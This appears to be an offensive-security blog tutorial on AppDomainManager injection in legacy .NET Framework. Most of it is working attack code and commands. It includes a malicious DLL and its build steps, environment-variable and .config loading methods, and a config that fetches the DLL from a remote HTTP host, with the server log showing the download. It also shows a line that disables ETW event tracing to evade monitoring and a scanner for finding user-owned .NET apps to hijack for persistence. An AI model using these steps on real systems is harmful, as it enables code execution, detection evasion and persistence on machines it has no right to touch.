.NET Applications support application domains. An application domain provides separation between multiple .NET applications running within a single process.
The AppDomainManager class allows a host .NET application to include additional application domains.
Exploitation
We can create a DLL that’s inherits from the AppDomainManager class to allow it to be loaded by an external .NET application.
For testing, we will be using a simple victim .NET application.
using System;
namespace TestApp
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Hello from TestApp!");
Console.ReadLine();
}
}
}
Compile the application using the .NET CSC compiler.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:TestApp.exe TestApp.cs
Next, we create a DLL that we can inject into the victim .NET application.
using System;
using System.Windows.Forms;
using System.Security.Principal;
namespace EvilNamespace
{
public class EvilManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
base.InitializeNewDomain(appDomainInfo);
System.Diagnostics.Process.Start("calc.exe");
string currentUser = WindowsIdentity.GetCurrent().Name;
MessageBox.Show("Current user: " + currentUser, "AppDomainManager Injection");
}
}
}
Compile the malicious DLL as a library.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:EvilManager.dll EvilManager.cs
Environment Variable Execution
Set the the AppDomainManager environment variables, and when TestApp is executed, EvilManager will be injected into it’s address space.
set APPDOMAIN_MANAGER_ASM=EvilManager, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=EvilNamespace.EvilManager

Application Configuration File Execution
In addition to using environment variables, we can execute the code using a .NET configuration file. Create a configuration file with the same name as the .NET application you wish to target. For instance, the configuration file name for TestApp.exe would be TestApp.exe.config.
Include the following XML in the configuration file to load our EvilManager DLL.
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
</assemblyBinding>
<appDomainManagerAssembly value="EvilManager, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" />
<appDomainManagerType value="EvilNamespace.EvilManager" />
</runtime>
</configuration>
Application Configuration File Execution (Remote DLL’s)
In .NET 3.5, it’s also possible to load malicious AppDomainManager DLL’s from remote servers by using the codeBase directive. The remotely loaded DLL’s will need a self signed key. This can be created using sn.exe. With the keypair created, we can then compile the DLL.
C:\>sn.exe -k EvilKey.snk
Microsoft (R) .NET Framework Strong Name Utility Version 4.0.30319.0
Copyright (c) Microsoft Corporation. All rights reserved.
Key pair written to EvilKey.snk
C:\> C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /target:library /out:EvilManager.dll /keyfile:EvilKey.snk EvilManager.cs
Microsoft (R) Visual C# 2008 Compiler version 3.5.30729.9151
for Microsoft (R) .NET Framework version 3.5
Copyright (C) Microsoft Corporation. All rights reserved.
To create the appropriate .config file, we will need to know the PublicKeyToken value. This can be determined using PowerShell.
$path = Join-Path (Get-Item .).Fullname 'EvilManager.dll'; ([system.reflection.assembly]::loadfile($path)).FullName
EvilManager, Version=0.0.0.0, Culture=neutral, PublicKeyToken=749960820a672977
Then we can populate our updated .config file.
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="EvilManager" publicKeyToken="749960820a672977" culture="neutral" />
<codeBase version="0.0.0.0" href="http://192.168.1.253/EvilManager.dll"/>
</dependentAssembly>
</assemblyBinding>
<appDomainManagerAssembly value="EvilManager, Version=0.0.0.0, Culture=neutral, PublicKeyToken=749960820a672977" />
<appDomainManagerType value="EvilNamespace.EvilManager" />
</runtime>
</configuration>
Running the Test application will result in .NET loading the DLL from our remote system and executing it.
sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.206 - - [10/Sep/2025 11:34:27] "GET /EvilManager.dll HTTP/1.1" 200 -
Disabling ETW
As an added bonus, it’s also possible to disable Event Tracing for Windows events by adding the etwEnable option to the configuraiton file. This will prevent Common Language Runtime (CLR) events from being generated by the application.
<etwEnable enabled="false" />
Persistence
If a user account is compromised, we can look for .NET applications stored in the users home directory. If one of these applications is set to auto start, it might be possible to add in a malicious .NET config file to achieve persistence. The following code can be used to identify accessible .NET applications.
using System;
using System.IO;
using System.Reflection;
using System.Collections.Generic;
class DotNetAppFinder
{
static void Main()
{
string userHome = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
Console.WriteLine(string.Format("Searching for .NET applications in: {0}", userHome));
try
{
SearchForDotNetApps(userHome);
}
catch (Exception ex)
{
Console.WriteLine(string.Format("Error during search: {0}", ex.Message));
}
Console.WriteLine("Search complete.");
}
static void SearchForDotNetApps(string rootDir)
{
foreach (string file in SafeEnumerateFiles(rootDir, "*.exe", SearchOption.AllDirectories))
{
if (IsDotNetAssembly(file))
{
Console.WriteLine(string.Format("[.NET] {0}", file));
}
}
}
static bool IsDotNetAssembly(string filePath)
{
try
{
AssemblyName.GetAssemblyName(filePath);
return true;
}
catch (BadImageFormatException)
{
return false;
}
catch (FileLoadException)
{
return false;
}
catch (Exception)
{
return false;
}
}
static IEnumerable<string> SafeEnumerateFiles(string path, string searchPattern, SearchOption searchOption)
{
var files = new List<string>();
try
{
files.AddRange(Directory.GetFiles(path, searchPattern));
if (searchOption == SearchOption.AllDirectories)
{
foreach (var dir in Directory.GetDirectories(path))
{
files.AddRange(SafeEnumerateFiles(dir, searchPattern, searchOption));
}
}
}
catch (UnauthorizedAccessException)
{
}
catch (PathTooLongException)
{
}
return files;
}
}
Running the code shows a couple of applications we can target. This code could be extended further to check for writable directories, and the version of the .NET framework the application is based on.
C:\Users\development\Desktop>FindDotNetApps.exe
Searching for .NET applications in: C:\Users\development
[.NET] C:\Users\development\AppData\Local\MyApp\TestApp.exe
[.NET] C:\Users\development\Desktop\AppDomainInjection\TestApp.exe
Search complete.
In Conclusion
This technique will only work with legacy versions of the .NET Framework (not modern .NET). It may be possible to achieve privilege escalation if an administrative user is coerced to run a .NET application with a malicious .config file in place.